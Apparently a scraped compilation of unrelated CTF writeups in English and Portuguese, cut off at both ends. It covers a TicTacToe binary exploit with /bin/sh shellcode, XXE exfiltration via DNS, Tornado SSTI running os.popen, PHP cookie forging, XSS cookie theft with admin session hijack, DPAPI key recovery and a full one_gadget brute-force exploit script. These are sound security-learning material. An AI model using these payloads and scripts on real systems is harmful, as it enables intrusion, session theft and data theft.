_win_game: ; cmove: 0 hmove: 1 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE1 mov rcx, HMOVE1 mov rax, SEND_STATE_FUNC_ADDR call rax
; cmove: 3 hmove: 4 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE2 mov rcx, HMOVE2 mov rax, SEND_STATE_FUNC_ADDR call rax
; cmove: 2 hmove: 7 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE3 mov rcx, HMOVE3 mov rax, SEND_STATE_FUNC_ADDR call rax```
We have to win the game 100 times so let's wrap it with a loop. We will use $rbx register as it is callee-saved register and will not get modified by `send_state` function.
```asmCMOVE1 equ 0 CMOVE2 equ 3CMOVE3 equ 2HMOVE1 equ 1HMOVE2 equ 4HMOVE3 equ 7
SERVER_IP_ADDR equ 0x405728SESSION_ADDR equ 0x405740
SEND_STATE_FUNC_ADDR equ 0x402a74SEND_REQ_USER_FUNC_ADDR equ 0x402835
section .text global _start
_start:_register_user: mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rax, SEND_REQ_USER_FUNC_ADDR call rax
_start_game: xor rbx, rbx ; store act number of wins in rbx
_win_game: ; cmove: 0 hmove: 1 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE1 mov rcx, HMOVE1 mov rax, SEND_STATE_FUNC_ADDR call rax
; cmove: 3 hmove: 4 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE2 mov rcx, HMOVE2 mov rax, SEND_STATE_FUNC_ADDR call rax
; cmove: 2 hmove: 7 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE3 mov rcx, HMOVE3 mov rax, SEND_STATE_FUNC_ADDR call rax
inc rbx cmp rbx, NWINS jne _win_game```
Finally we have to ask server for a flag. It can be done by invoking `int send_get_flag(char *server_ip,char *session,char *message)` function. We already know the server_ip and session arguments. The message is just a buffer in which the flag get stored. To send flag back to us, we will use a write syscall (the socket is already open).The final shellcode looks like:
```asmSEND_REQ_USER_FUNC_ADDR equ 0x402835 SEND_STATE_FUNC_ADDR equ 0x402a74SEND_GET_FLAG_FUNC_ADDR equ 0x402ce1
SERVER_IP_ADDR equ 0x405728SESSION_ADDR equ 0x405740
FLAG_BUF_ADDR equ 0x405870 ; &name + 256FLAG_LEN equ 0x102
CMOVE1 equ 0 CMOVE2 equ 3CMOVE3 equ 2HMOVE1 equ 1HMOVE2 equ 4HMOVE3 equ 7
NWINS equ 100
PSOCK equ 4
SYS_WRITE equ 1
section .text global _start
_start:_register_user: mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rax, SEND_REQ_USER_FUNC_ADDR call rax
_start_game: xor rbx, rbx ; store act number of wins in rbx
_win_game: ; cmove: 0 hmove: 1 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE1 mov rcx, HMOVE1 mov rax, SEND_STATE_FUNC_ADDR call rax
; cmove: 3 hmove: 4 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE2 mov rcx, HMOVE2 mov rax, SEND_STATE_FUNC_ADDR call rax
; cmove: 2 hmove: 7 mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, CMOVE3 mov rcx, HMOVE3 mov rax, SEND_STATE_FUNC_ADDR call rax
inc rbx cmp rbx, NWINS jne _win_game
_get_flag: mov rdi, qword [SERVER_IP_ADDR] mov rsi, SESSION_ADDR mov rdx, FLAG_BUF_ADDR mov rax, SEND_GET_FLAG_FUNC_ADDR call rax
_send_flag: mov rdi, PSOCK mov rsi, FLAG_BUF_ADDR mov rdx, FLAG_LEN mov rax, SYS_WRITE syscall```
We can now extract it:
```console$ nasm -f elf64 1_shellcode.asm -o 1_shellcode.o
$ for i in `objdump -d 1_shellcode.o |grep "^ " |cut -f2`; do echo -n '\x'$i; done; echo\x48\x8b\x3c\x25\x28\x57\x40\x00\xbe\x40\x57\x40\x00\xb8\x35\x28\x40\x00\xff\xd0\x48\x31\xdb\x48\x8b\x3c\x25\x28\x57\x40\x00\xbe\x40\x57\x40\x00\xba\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xb8\x74\x2a\x40\x00\xff\xd0\x48\x8b\x3c\x25\x28\x57\x40\x00\xbe\x40\x57\x40\x00\xba\x03\x00\x00\x00\xb9\x04\x00\x00\x00\xb8\x74\x2a\x40\x00\xff\xd0\x48\x8b\x3c\x25\x28\x57\x40\x00\xbe\x40\x57\x40\x00\xba\x02\x00\x00\x00\xb9\x07\x00\x00\x00\xb8\x74\x2a\x40\x00\xff\xd0\x48\xff\xc3\x48\x83\xfb\x64\x75\x9d\x48\x8b\x3c\x25\x28\x57\x40\x00\xbe\x40\x57\x40\x00\xba\x70\x58\x40\x00\xb8\xe1\x2c\x40\x00\xff\xd0\xbf\x04\x00\x00\x00\xbe\x70\x58\x40\x00\xba\x02\x01\x00\x00\xb8\x01\x00\x00\x00\x0f\x05```
And test our [exploit](exp.py)
```console$ python3 exp.py remote[*] '/home/k/cz/tictactoe_files/tictactoe' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments[+] Opening connection to pwn-tictactoe.ctfz.one on port 8889: Done[*] Switching to interactive modectfzone{h3r3_w3_g0_4g41n_t1c_t4c_t03_1z_4_n1z3_g4m3}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive``` |
* List bucket objects at http://bucketsoffun-ctf.s3.us-east-1.amazonaws.com/* Retrieve flag at http://bucketsoffun-ctf.s3.us-east-1.amazonaws.com/youfoundme-asd897kjm.txt |
Thanks to this tweet [https://twitter.com/phithon_xg/status/1073845338606194689?s=20](https://twitter.com/phithon_xg/status/1073845338606194689?s=20), I know that we can put the dtd with parameter entity right in the xml file.So I extracted the flag through DNS using [http://dnsbin.zhack.ca/](http://dnsbin.zhack.ca/) Upload [this](https://pastebin.com/raw/SJrs3st1) xml and a query will come to dnsbin containing the flag. |
### TicTacToe #pwn
#### inputs
- `tictactoe ` - ELF 64-bit LSB executable, x86-64 (game frontend) - `server.py` - server code (game backend)
#### recon
After connecting to provided host we can see implementation of tic tac toe game:
```console$ nc pwn-tictactoe.ctfz.one 8889Welcome to tictactoe game! Please, enter your name: elkle%po +---+---+---+ Session: emdBER4MYfNbqYJZzxyn9StjbFvP1OdS | | | | | X | | | Player: elkle%po | 1| 2| 3| |---+---+---| Level: 1/100 | | | | | | | | Rules: You play with 0s. Now it's your turn. | 4| 5| 6| Enter number 1-9 to make your move. |---+---+---| In order to get the flag you need to win | | | | 100 times in a row, buy your enemy is a | | | | really smart AI. Good luck! | 7| 8| 9| +---+---+---+ Enter your move (1-9):```
So we have to win 100 games to get the flag. After some manual tries I was not able to win a single game (no surprise here - it's `pwn` task :) ).
Next, I jumped to server code analysis and reverse engineering (symbols were not stripped so it was quite easy). That's how, in simplified way, the game infrastructure works:
```+-------------------------------player------+| |+-------------------------------------------+ | ^ | | board state | human_move | [next/win/lose/flag] | | v |+-------------------------------tictactoe---+| board_state |+-------------------------------------------+ | ^ | session_x_id | [next/win/lose/flag] | human move | board state | computer move | v |+-------------------------------server.py---+| +-session_x----+ || | games won | || | board state | || +--------------+ |+-------------------------------------------+
```
`tictactoe` gets human move and computes computer move basing on board state after human move.
Both human move and computer move are sent to `server.py` (most probably on different machine) which is responsible for moves validation, win/lose decision and informing `tictactoe` that user won 100 games and the flag is available.
When flag availability is signaled, `tictactoe` is sending "get flag" request to `server.py` which sends flag back if 100 games were won (for simplicity - this call is omitted on above diagram).
It is impossible for user to communicate to `server.py` directly so we have to exploit `tictactoe`.
#### tictactoe exploitation
```console$ checksec --file ./tictactoe Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ```
Ok, so there are literally no exploit mitigations in `tictactoe`, that would make things much easier.
My initial idea was to get remote shell and execute my "malicious" version of `tictactoe` written in python or just simply redirect crafted input to `nc`.
There is a pretty big buffer overflow in `get_name()` function:
```cint get_name(){ ... char tmp_name[16]; ... // recv up to 2048 bytes from socket and store them in `tmp_name` recv_session_count = recv_all(psock, tmp_name, 2048); ... // `name` is a global variable at fixed address. strcpy(name, tmp_name); ...}```
We can control function return address, but there is no obvious "instant win" location.
We're not able to leak any memory (at this point) so there is no option to leak `libc` address and use its code for ROP.
But there is RWX stack. We may provide 2048 bytes of shellcode, but it is required to find an option to redirect execution to it. Unfortunately, due to ASLR, it is not possible (without lucky guess) to set return address to `tmp_name`.
We have to find the gadget like: `push rsp; ret`, `jmp rsp` or something similar, but unfortunately `tictactoe` does not contain such gadgets.
Because `tictactoe` is not PIE executable, all global variables are always at fixed address and all RW sections are actually RWX sections during runtime.
Looking at `get_name()` code we can see an opportunity - `tmp_name` is copied to global variable `name`. The idea to get remote code execution is to send following payload:
`asm('jmp rsp') + padding + 'name' address + shellcode`
Which will cause `jump rsp` opcode to be copied under `name` address and function return address will be overwritten with `name` address. During `get_name()` stack unwinding, `ret` function will set `rip` to `name` address, executing `jump rsp` afterwards and `rip` will point to executable stack with our shellcode.
Using this method I was able to execute shellcode:
```assemblymov r13, [0x0405720] # `psock` addressmov rdi, r13mov rsi, 0mov rax, 33syscall # dup2(psock, stdin)
mov rdi, r13mov rsi, 1mov rax, 33syscall # dup2(psock, stdout)
mov rdi, r13mov rsi, 2mov rax, 33syscall # dup2(psock, stderr)
mov rdi, r13mov rax, 3syscall # close(psock)
xor rdx, rdxmov rbx, 0x68732f6e69622f2fshr rbx, 0x8push rbxmov rdi, rsppush raxpush rdimov rsi, rspmov al, 0x3bsyscall # execve("/bin/sh", ["/bin/sh"], NULL)```
Success, I had remote shell! But...
Unfortunately, the shell had extremely limited functionalities and I had no idea on how to execute my python code there or transfer and execute other binaries. There was no `python`, `nc`, `base64` or any other "standard" tools. I know that it was possible for some bash magicians, but I'm not one of them :(
I decided to take another approach, Let's look at `process_game_situation()` function:
```cint __cdecl process_game_situation(char *board, int *comp_move, int *human_move){ ... *comp_move = get_computer_move(board); ... *human_move = get_human_move(board); ...}```
What if we change its code to look as follows:
```cint __cdecl process_game_situation(char *board, int *comp_move, int *human_move){ ... *comp_move = get_human_move(board); // get_computer_move -> get_human_move ... *human_move = get_human_move(board); ...}```
We would be able to provide not only our moves, but also computer moves. I used remote code execution payload described earlier with following shellcode:
```assemblymov rdi, 0x400000mov rsi, 0x5000mov rdx, 0x7mov rax, 10syscall # mprotect(0x400000, 0x5000, 0x7[RWX])
mov BYTE PTR [0x401c86], 0xe8 # change:mov BYTE PTR [0x401c87], 0x9f # 0x401C86: call get_computer_movemov BYTE PTR [0x401c88], 0xfd # tomov BYTE PTR [0x401c89], 0xff # 0x401C86: call get_human_movemov BYTE PTR [0x401c8a], 0xff # offset calculation done manually
push 0x0401D32ret # return to process_game()```
Worked as expected, I was able to provide both mine and computer moves. Winning 100 games witch such a cheat was pretty easy!
> ctfzone{h3r3_w3_g0_4g41n_t1c_t4c_t03_1z_4_n1z3_g4m3}
[exploit.py](./exploit.py) contains code for both remote shell (`gimme_shell()`) and flag exploit (`gimme_flag()`). |
# object // Writeup
## Problem
## Solution
We have an object file and in this method we are going to compile it.
`run.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped`
To compile it : `gcc run.o -o run_binary`
After compiling, I disassembled and decompiled it with ghidra and i saw there was an interesting function : `checkPassword`.
Obviously, this is the only one function called in main. So that function tell us, it will return `Incorrect password`.. only if the password len is right. So we need to find the len first. To do that you can bruteforce it with a program or check the password array in the disassembler , if you check into the disasembler dont forget to dont count the null value.
Correct lenght : `44`
After i just ran a program i made :
```pythonimport osimport subprocess
list_ascii = list('abcdefghijklmnopqrstuvwxyABCDEFGHIJKLMNOPQR=STUV_WYZ01!?.:}{23456789')password = 'a'*44arr = list(password)
while True: for char in list_ascii:
run = subprocess.Popen('echo %s | ./run_binary' % (''.join(arr)) , shell=True, stdout=subprocess.PIPE).stdout
byte_output = run.read() string_output = byte_output.decode()
if 'Incorrect' in str(string_output): number = int(string_output[108:]) arr[number] = char
if 'Correct' in str(string_output): print(''.join(arr)) break```
**FLAG**: `TUCTF{c0n6r47ul4710n5_0n_br34k1n6_7h15_fl46}`
|
# Sonic // Writeup
## Problem
*Gotta go fast*
*nc chal.tuctf.com 30100*
## Solution
On that problem there was differents ways to solve it. For example, you can send every plaintext for each shift key ( 0 -> 26 ).
Or you can decode the message with the same shift key and do it until you got the flag :
```pythonfrom pwn import * import codecs
while True:
conn = remote('chal.tuctf.com' , 30100) full_message = str(conn.recv())[301:]
LIST = list(full_message)
search=0 while search < len(LIST): if LIST[search] == '\n': for i in range(30): try: del LIST[search] except: pass search += 1 encoded_message = ''.join(LIST) rot13_message = codecs.encode(str(encoded_message) , 'rot_13') conn.sendline(str(rot13_message)) recv = conn.recv()
if 'TUCTF' in recv: print(recv) break conn.close()```
**FLAG**: `TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}` |
## Windows Secrets #rev #forensics
### inputs
`windows-secrets.7z` is provided with the task description, archive contains `AppData` directory.
Most interesting files are:
- `\AppData\Local\Temp\fencp.exe` - PE32 executable (console) Intel 80386, for MS Windows- `\AppData\Local\Temp\flag.enc` - 208 raw bytes- `\AppData\Local\Temp\BGInfo.bmp` - Wallpaper from IE 11 Win7 virtual machine that Microsoft provides for developers [here](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/). The key observation here is that thanks to this we know the user password - `Passw0rd!`
### fencp.exe analysis
#### dynamic analysis
Running `fencp.exe` with no arguments:
> Usage: fencp.exe <file_name>
When running `fencp.exe` with path to some dummy file, nothing is printed to `stdin` or `stderr` but `flag.enc` file is created in the working directory (with different content for consecutive runs with the same input file).
*Process Monitor* shows that input file is opened, then some registry reads related to Microsoft CryptoAPI are performed. At the end `flag.enc` is created and written.
I did not spot network traffic.
#### static analysis
`fencp.exe` contains plenty of imports but a lot of crap strings suggest some kind of packing. RW sections were almost entirely not parsed by IDA, except of one method that was most probably responsible for early stages of unpacking.
*PEid* showed that `fencp.exe` is packed with `"PEncrypt 3.1 Final -> junkcode"`. After some googling I was not able to find given packer so I decided unpack it myself. I set breakpoint at:
```.ymz:0041C24E push 4018DAh.ymz:0041C253 retn <-------```
After dumping process memory at this breakpoint and fixing import table I was able to get [fencp_dump.exe](./fencp_dump.exe). Loading it to IDA confirmed that I got fully unpacked binary.
#### reverse engineering
After some reverse engineering I understood the `fencp.exe` logic:
1. Open and read content (flag) from input file
2. Generate "random" key container ID in form `%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x` e.g. `e65e6804-f9cd-4a35-b3c9-c3a72a162e4d `
3. Open (or create if does not exist) key container for given container ID within `Microsoft Enhanced RSA and AES Cryptographic Provider` CSP
4. Load RSA key pair from key container (if it was present) or generate new RSA key pair in key container (if it was just created)
5. Generate AES-128 key
6. Encrypt file content with AES key
7. Encrypt AES key with private RSA key
8. Create `flag.enc` with content:
``` offset 0x0000 size of encrypted AES-128 key in SIMPLEBLOB format (equal to 140) 0x0004 encrypted AES-128 key in SIMPLEBLOB format 0x0090 encrypted file content ```
Above steps as they look in reversed code:
```c// open key containerif ( !CryptAcquireContextA( &cspProv, v_key_container_identifier, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, 0) ){ // create key container if does not exist if ( !CryptAcquireContextA( &cspProv, v_key_container_identifier, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_NEWKEYSET) ) return -1; } // get RSA key from keycontainerif ( !CryptGetUserKey(cspProv, AT_KEYEXCHANGE, &rsaKey) && GetLastError() == NTE_NO_KEY ){ // create RSA key in key container if ( !CryptGenKey(cspProv, AT_KEYEXCHANGE, CRYPT_EXPORTABLE, &rsaKey) ) return -1;}
// generate AES-128 keyCryptGenKey(cspProv, CALG_AES_128, CRYPT_EXPORTABLE, &aesKey);
// encrpyt AES key with RSA priv keyCryptExportKey(aesKey, rsaKey, SIMPLEBLOB, 0, 0, &encAesKeyLen);encAesKey = LocalAlloc(0x40u, encAesKeyLen);CryptExportKey(aesKey, rsaKey, SIMPLEBLOB, 0, encAesKey, &encAesKeyLen);
// create "flag.enc"hFile = CreateFileA("flag.enc", 0x40000000u, 0, 0, 2u, 0x80u, 0);// write encrypted AES key sizeWriteFile(hFile, &encAesKeyLen, 4u, &bytesWritten, 0);// write encrypted AES keyWriteFile(hFile, encAesKey, encAesKeyLen, &bytesWritten, 0);// encrpyt file content with AES keyCryptEncrypt(aesKey, 0, 1, 0, fileContent, &fileContentLen, 0x200u);// write encrypted AES keyWriteFile(hFile, fileContent, fileContentLen, &bytesWritten, 0);
```
### solution
So we have the flag encrypted with AES key and the same AES key encrypted with RSA key stored in one of key containers.
- Key containers are located under `\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1716914095-909560446-1177810406-1000\` directory.- User password protected master keys needed to decrypt keys in key containers are located under `C:\Users\ctfro\Desktop\ds\windows-secrets\AppData\Roaming\Microsoft\Protect\S-1-5-21-1716914095-909560446-1177810406-1000` directory.
Then I followed [this](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files) guide on how to recover master keys (remember that we know user password) and how to decrypt keys in key containers. (In directory [extract](./extract) I've included all decrypted RSA keys from key containers).
All I had to do at this point was to try to decrypt AES key with every RSA key and find the only one that will give us the correct decryption.
Last thing to do is to decrypt encrypted flag with decrypted AES key.
[exploit.py](./exploit.py) automates steps mentioned above.
> ctfzone{0h_th3s3_s3cur1ty_m3ch4n1sms_1n_w1nd0ws}
|
Solve `password`, leak canary, and overwrite main ret with a partial libc (1/4096 tries) to one_gadget for shell.Based on `/etc/issue.net` three libcs were tried until success.
Actual flag turned out to be `/home/chall/_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt` :)
*In hindsigt*: could've avoided brute by using `/proc/self/syscall` as [mephi42](/user/65395) mentioned in the [comments](/task/9715)
```python#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import *from os.path import existsfrom os import environ, getcwdfrom z3 import *import struct
exe = context.binary = ELF('./full_troll')
env = dict(environ)
host = args.HOST or '200.136.252.31'port = int(args.PORT or 2222)
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.REMOTE: return connect(host, port) if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) return process([exe.path] + argv, *a, **kw)
gdbscript = '''breakrva 0x103ccontinue'''.format(**locals())
# -- Exploit goes here --# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enabled
def solve_password(): vals = [] for i in range(0x17): vals.append(BitVec('x{}'.format(i), 32))
s = Solver()
s.add((vals[1] ^ vals[0]) == 0x3f) s.add((vals[2] ^ vals[1]) == 0xb) s.add((vals[3] ^ vals[2]) == 0x27) s.add((vals[4] ^ vals[3]) == 0x33) s.add((vals[5] ^ vals[4]) == 0x41) s.add((vals[6] ^ vals[5]) == 0x4f) s.add((vals[7] ^ vals[6]) == 0x3b) s.add((vals[8] ^ vals[7]) == 0x1b) s.add((vals[9] ^ vals[8]) == 0x21) s.add((vals[10] ^ vals[9]) == 0x32) s.add((vals[0xb] ^ vals[10]) == 0x73) s.add((vals[0xc] ^ vals[0xb]) == 0x79) s.add((vals[0xd] ^ vals[0xc]) == 0x2b) s.add((vals[0xe] ^ vals[0xd]) == 0x3a) s.add(vals[0xe] == vals[0xf]) s.add((vals[0x10] ^ vals[0xf]) == 2) s.add((vals[0x11] ^ vals[0x10]) == 0x38) s.add((vals[0x12] ^ vals[0x11]) == 0x1d) s.add((vals[0x13] ^ vals[0x12]) == 3) s.add((vals[0x14] ^ vals[0x13]) == 4) s.add((vals[0x15] ^ vals[0x14]) == 0x49) s.add((vals[0x16] ^ vals[0x15]) == 0x61) s.add(vals[0x16] == 0x58)
assert s.check() == sat m = s.model()
return ''.join(map(chr, [m[vals[i]].as_long() for i in range(0x17)])) # VibEv7xCXyK8AjPPRjwtp9X
def cat_head_n1(fn): io.sendlineafter('Tell me your password.', fit({ 0: solve_password(), 0x20: fn, })) return io.recvuntil('Welcome my friend.')
log.info('solving pw...')password = solve_password()log.info(password)
log.info('go grab some coffee...')
# cat_head_n1('/etc/issue.net') # Ubuntu 18.04.3 LTS
NUM_TRIES = 2**12 # 12bits bruteforce
# one_gadgets with rax == NULLfor fn, gadgets in [ ('libc6_2.27-3ubuntu1_amd64.so', [0x4f2c5]), # this turned out to be the right one # ('libc6_2.26-0ubuntu2_amd64.so', [0x47c46]), # ('libc6_2.26-0ubuntu2.1_amd64.so', [0x47c46]), ]: libc = ELF('/libc-database/db/{}'.format(fn, checksec=False))
for gadget in gadgets: for attempt in range(NUM_TRIES): if attempt % 10 == 0: print('{}/{}'.format(attempt, NUM_TRIES)) context.log_level = logging.CRITICAL io = start(env=env) try: # leak canary canary = '' for i in range(8): io.sendlineafter('Tell me your password.', fit({ 0: password, 0x50-8-1+i: 'A', })) io.recvuntil('Unable to open ') leak = io.recvuntil(' file!')
leak = leak[0x28+i:leak.index(' file!')] log.info('leak: {}'.format(leak)) if len(leak) == 0: canary += '\0' else: canary += leak
log.info('canary: {}'.format(canary))
if len(canary) == 8: break
canary = u64(canary) log.info('canary: {:#x}'.format(canary))
io.sendlineafter('Tell me your password.', fit({ 0: password, 0x20: '\0', # flag_path[0] == 0: break ret 0x50-8: [ canary, 8*'B', p32(gadget)[:3], ], }))
# got shell? io.sendline('id') x = io.recvuntil('uid', timeout=2) if len(x) < 1: continue
context.log_level = logging.INFO log.info(x) print("worked on attempt #{}".format(attempt)) io.sendline('cat /home/chall/_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt') io.interactive() break except EOFError: continue except struct.error: continue except Exception as e: # if attempt % 500 == 0: print('{}/{} exc: {}'.format(attempt, NUM_TRIES, type(e).__name__)) raise continue finally: context.log_level = logging.CRITICAL io.close() del io
log.info('done')
'''[*] solving pw...[*] VibEv7xCXyK8AjPPRjwtp9X[*] go grab some coffee...[*] '/libc-database/db/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled0/4096 exc: <type 'exceptions.EOFError'>...3000/4096 exc: <type 'exceptions.EOFError'>[*] Unknown erroruidworked on attempt #3054[*] Switching to interactive mode=1001(chall) gid=1001(chall) groups=1001(chall)CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}$'''``` |
# And Now, For \ Something Completely \ Different
**Categoria: Web**
# Descrição:>We all know Black Friday is the time for shopping. Can you find us a flag on this online store?
>chal.tuctf.com:30007
# Solução:Acessando o link:Analisando o código fonte encontramos um diretório:E, acessando o "/welcome/test", temos:Depois de testar alguns payloads, cheguei ao Server-Side Template Injection (SSTI) com o payload {{7*7}}:E descobri que estava rodando Tornado no servidor, pois em um dos payloads que eu testei me foi retornado um erro com o path do Tornado e assim procurei outros payloads para o Tornado.
Usei: {% import os %}{{ os.popen("id").read() }}E assim, obti a flag com o payload: {% import os %}{{ os.popen("cat flag.txt").read() }}
# Flag:```TUCTF{4lw4y5_60_5h0pp1n6_f0r_fl465}```
|
# m0leCon CTF 2019 – OOP Admin Panel
* **Category:** web* **Points:** 54
## Challenge
> This is my first website, can you prove it to be secure?>> Author: @andreossido>> http://10.255.0.1:8010/
## Solution
Connecting to the website you can see the following message.
```Welcome
I'm admin of this site.This is my first website... I think it's enough secure, but I didn't study sql yet.Can you test it for me?In private page there is a surprise for you!```
Registering a user and analyzing the cookies will let you to discever the `login` cookie with a base64 content.
```Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtpOjI7czo4OiJ1c2VybmFtZSI7czo1OiJhYWFhYSI7czo1OiJhZG1pbiI7YjowO30=```
Decoding it will give you the following PHP serialized class.
```O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:5:"aaaaa";s:5:"admin";b:0;}```
You can craft the following malicious serialized class to escalate privileges.
```O:4:"User":3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:5:"admin";b:1;}```
Then encode it in base64.
```Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo1OiJhZG1pbiI7YjoxO30```
Changing the cookie with the encoded malicious payload and visiting the private section will give you the flag.
```ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}``` |
# Sonic
**Categoria: Crypto**
# Descrição:> Gotta go fast> > nc chal.tuctf.com 30100
# Solve / SoluçãoAcessando o endereço, encontramos o seguinte extrato da página:
Identificando como Caesar Cipher, foi desenvolvido o seguinte código Python para solução:
```python
from caesarcipher import CaesarCipherfrom pwn import *
def main(): r = remote('chal.tuctf.com',30100) encoded = r.recv().split()[-1].decode('utf-8') response = None for i in range(29): cipher = CaesarCipher(encoded, offset=i+1) decoded = cipher.decoded r.send("{}\n".format(decoded)) response = r.recv().split() print(response)
main()```
Sua execução imprimiu a *flag*: ```TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}```.
# Flag: ```TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>tuctf-2019</span></span><span>/</span><span><span>pwn</span></span><span>/</span>shellme32<span>/</span> </div> </div>
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# Router Where Art Thou?
**Category: Web**
# Descrição:>Interesting login page, think you can crack it?
>chal.tuctf.com:30006
# Solução:Como o nome do desafio fala sobre roteador e a descrição sobre invadir uma página de login, nada melhor que tentar algumas senhas "defaults" dos roteadores.
Comecei por "admin/admin":E, então, aqui está a flag:
# Flag:```TUCTF{y0u_f0und_th3_fun_r0ut3r_d3f4ult5}``` |
# runme
**Categoria: Pwn**
# Descrição:>Everyone starts somewhere.
# Solução:Apenas executar o binário e digitar "flag":```root@kali:~/pwn/runme# ./runme Enter 'flag'> flagTUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}```Ou usar strings no binário:```root@kali:~/pwn/runme# strings runme [...]u+UH[]A\A]A^A_Enter 'flag'flagTUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}How did you fail that?:*3$"[...]```
# Flag:```TUCTF{7h4nk5_f0r_c0mp371n6._H4v3_fun,_4nd_600d_luck}``` |
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>leakalicious</span> </div>
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# m0leCon CTF 2019 – Math magazine
* **Category:** web* **Points:** 55
## Challenge
> Do you like math? Click here.>> Author: @andreossido>> http://10.255.0.1:8011/
## Solution
Connecting to the website you can see the following message.
```Welcome!
This site is a math articles container.At the moment you can only read your articles and write new ones.Only admin can read other account articles, so pay attention what do you write :)```
This website allows you to upload LaTeX documents and to list and view your uploaded ones. The view functionality doesn't escape/encode the output and the text field where you can write your LaTeX script doesn't sanitize the input; as a consequence, the website is vulnerable to XSS.
```latex\documentclass{article}\begin{document}
<script>alert();</script>
\end{document}```
You can abuse this, in order to print administrator cookies, with the following payload.
```latex\documentclass{article}\begin{document}
<script>alert(document.cookie);</script>
\end{document}```
When the article is submitted, the following output is shown.
```WARN: Published, but admin cannot view you article :(Error:[*] Going to visit url: http://10.255.0.1:8011/?p=articles&a=view&u_id=f2c41083389d45ee757cc8f65eb2afd4&id=11[*] Getting FLAG...
Alert Text: NoneMessage: unexpected alert open: {Alert text : PHPSESSID=aec0e26f10db41a5b584483bdc67dab1; FLAG=ptm{the_flag_is_not_here}}(Session info: headless chrome=75.0.3770.100)```
But the flag is not the real one.
Analyzing the HTML, you can discover the following interesting comment.
```html
```
So you can download the [src.zip](src.zip) file.
Analyzing the [list](./src/pages/articles.actions/list) source code, you can discover an interesting `if` statement, where the real flag is set into a cookie.
```php
```
At this point you have already leaked the `FALSE_FLAG`, so you can force it into a cookie. You don't have `SECRET` value into your session, but you have the `PHPSESSID` of the administrator, so you can steal its session changing your cookie.
Crafting both cookies accordingly and accessing to the `list` functionality will give you the flag into the `FLAG` cookie.
```ptm{L4t3x_1nj3ct10n_1s_c00l}```
**Note**: According to the challenge creator, the technique to leak `PHPSESSID` and false `FLAG` was not the *intended* one. |
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# Classifier9000
In this task we have access to a neural network image classifier which returns `(predictions, percentage_probabilities)` pair for each input image. We also have starting image "car.jpg" which is classified as `sports_car`. The task is to forge this image to be classified as `racer`.
The classifier has web interface and its source code in python is available. The analysis of source code (server.py) revealed two important observations:
- the input image is required to be the same size as "car.jpg" which is 224 x 224 px,- the relative difference between the input image and "car.jpg" cannot exceed 2.
The first step was to obtain any image which is classified as `racer`. Eventually we found appropriate image and saved it as "racer.jpg"
